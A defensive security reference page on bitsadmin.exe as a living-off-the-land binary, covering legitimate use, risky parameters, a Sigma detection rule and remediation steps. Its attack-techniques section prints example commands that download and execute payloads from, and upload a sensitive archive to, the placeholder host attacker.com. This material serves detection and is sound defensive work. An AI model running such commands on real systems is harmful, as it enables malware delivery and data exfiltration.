Critical RiskWindowsLegitimateCommonly Abused

bitsadmin.exeSYSTEM UTILITY

bitsadmin.exe - BITS Admin LOLBin Security Analysis

bitsadmin.exe is the Background Intelligent Transfer Service command-line tool and a notorious LOLBin. Attackers abuse it for stealthy file downloads that persist across reboots, execution of downloaded payloads, and data exfiltration. BITS jobs are difficult to detect and survive system restarts.

3viewsLast verified: Jan 18, 2026

Risk Summary

CRITICAL priority for SOC triage. bitsadmin.exe is a top-tier LOLBin for persistent downloads and execution. Any /transfer, /create, or /addfile commands require **immediate investigation**. BITS jobs persist across reboots making this particularly dangerous.

What is bitsadmin.exe?

bitsadmin.exe manages Windows Background Intelligent Transfer Service (BITS) jobs.

Legitimate Functions

BITS Management:

Download Windows updates
Transfer large files
Resume interrupted downloads
Background throttled transfers

Why It's Dangerous

LOLBin Capabilities:

Stealthy file downloads
Persistence across reboots
Execute downloaded files
Difficult to detect

Security Significance

Trusted Binary: Signed Microsoft tool
Persistence: Jobs survive restarts
Evasion: Traffic appears as BITS
Execution: Can run downloaded files

Normal Behavior

Expected Process State

Property	Expected Value
Path	C:\Windows\System32\bitsadmin.exe
Parent	cmd.exe, powershell.exe (admin)
User	Administrator
Context	Windows Update operations

Legitimate Usage

:: Check BITS jobs (legitimate)
bitsadmin /list /allusers

:: Windows Update context only

Frequency

Direct bitsadmin usage is rare - Windows typically uses PowerShell or API.

C:\Windows\System32\bitsadmin.exeC:\Windows\SysWOW64\bitsadmin.exe

Legitimate vs Suspicious

LEGITIMATE (Very Rare)

Command:     bitsadmin /list
             bitsadmin /info
Context:     System administration
Frequency:   Rare

SUSPICIOUS (High Confidence)

Command:     bitsadmin /transfer /download http://...
             bitsadmin /create /addfile /resume
             bitsadmin /SetNotifyCmdLine
Context:     Any non-IT user
Frequency:   Any

Dangerous Parameters

Parameter	Risk	Description
/transfer	CRITICAL	Download file
/addfile	CRITICAL	Add file to job
/SetNotifyCmdLine	CRITICAL	Execute on completion
/resume	HIGH	Start download
/create	HIGH	Create new job

Attack Techniques

Technique #1: File Download (T1197)

Download Malware via BITS:

bitsadmin /transfer job /download /priority high http://attacker.com/mal.exe C:\mal.exe

Persistent Download Job:

bitsadmin /create downloadjob
bitsadmin /addfile downloadjob http://attacker.com/payload.exe C:\payload.exe
bitsadmin /resume downloadjob
bitsadmin /complete downloadjob

Technique #2: Execute After Download (T1059)

bitsadmin /SetNotifyCmdLine job C:\payload.exe
bitsadmin /resume job

Technique #3: Persistence (T1197)

BITS jobs persist across reboots - malware can create job that downloads and executes on every startup.

Technique #4: Data Exfiltration (T1048)

bitsadmin /transfer exfil /upload http://attacker.com/upload C:\sensitive.zip

Detection Strategies

Priority #1: Any Download Command (CRITICAL)

Sigma Rule:

title: Bitsadmin Download
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\bitsadmin.exe'
    CommandLine|contains:
      - '/transfer'
      - '/addfile'
      - 'http'
  condition: selection
level: critical

Priority #2: Execution Setup

Process = "bitsadmin.exe" AND
CommandLine CONTAINS "/SetNotifyCmdLine"
→ ALERT: CRITICAL - Execution on download completion

Priority #3: List All Jobs

bitsadmin /list /allusers /verbose
# Review for suspicious jobs

Priority #4: PowerShell Alternative

Get-BitsTransfer -AllUsers | Where-Object {
    $_.TransferType -eq 'Download' -and
    $_.JobState -ne 'Transferred'
} | Format-List

Protection and Remediation

Defense: Monitor BITS Jobs

# Scheduled task to audit BITS
Get-BitsTransfer -AllUsers | Export-Csv "bits_audit.csv"

Defense: Application Control

Restrict bitsadmin.exe to administrators.

If Compromise Suspected

List all BITS jobs
Cancel suspicious jobs
Identify downloaded files
Trace execution chain
Remove persistence

bitsadmin /cancel <job>
bitsadmin /reset /allusers

Investigation Checklist

- - - -

bitsadmin.exe - BITS Admin LOLBin Security Analysis

Risk Summary

Overview

What is bitsadmin.exe?

Legitimate Functions

Why It's Dangerous

Security Significance

Normal Behavior

Normal Behavior

Expected Process State

Legitimate Usage

Frequency

Common Locations

Suspicious Indicators

Legitimate vs Suspicious

LEGITIMATE (Very Rare)

SUSPICIOUS (High Confidence)

Dangerous Parameters

Abuse Techniques

Attack Techniques

Technique #1: File Download (T1197)

Technique #2: Execute After Download (T1059)

Technique #3: Persistence (T1197)

Technique #4: Data Exfiltration (T1048)

Detection Guidance

Detection Strategies

Priority #1: Any Download Command (CRITICAL)

Priority #2: Execution Setup

Priority #3: List All Jobs

Priority #4: PowerShell Alternative

Remediation Steps

Protection and Remediation

Defense: Monitor BITS Jobs

Defense: Application Control

If Compromise Suspected

Investigation Checklist

Investigation Checklist

MITRE ATT&CK Techniques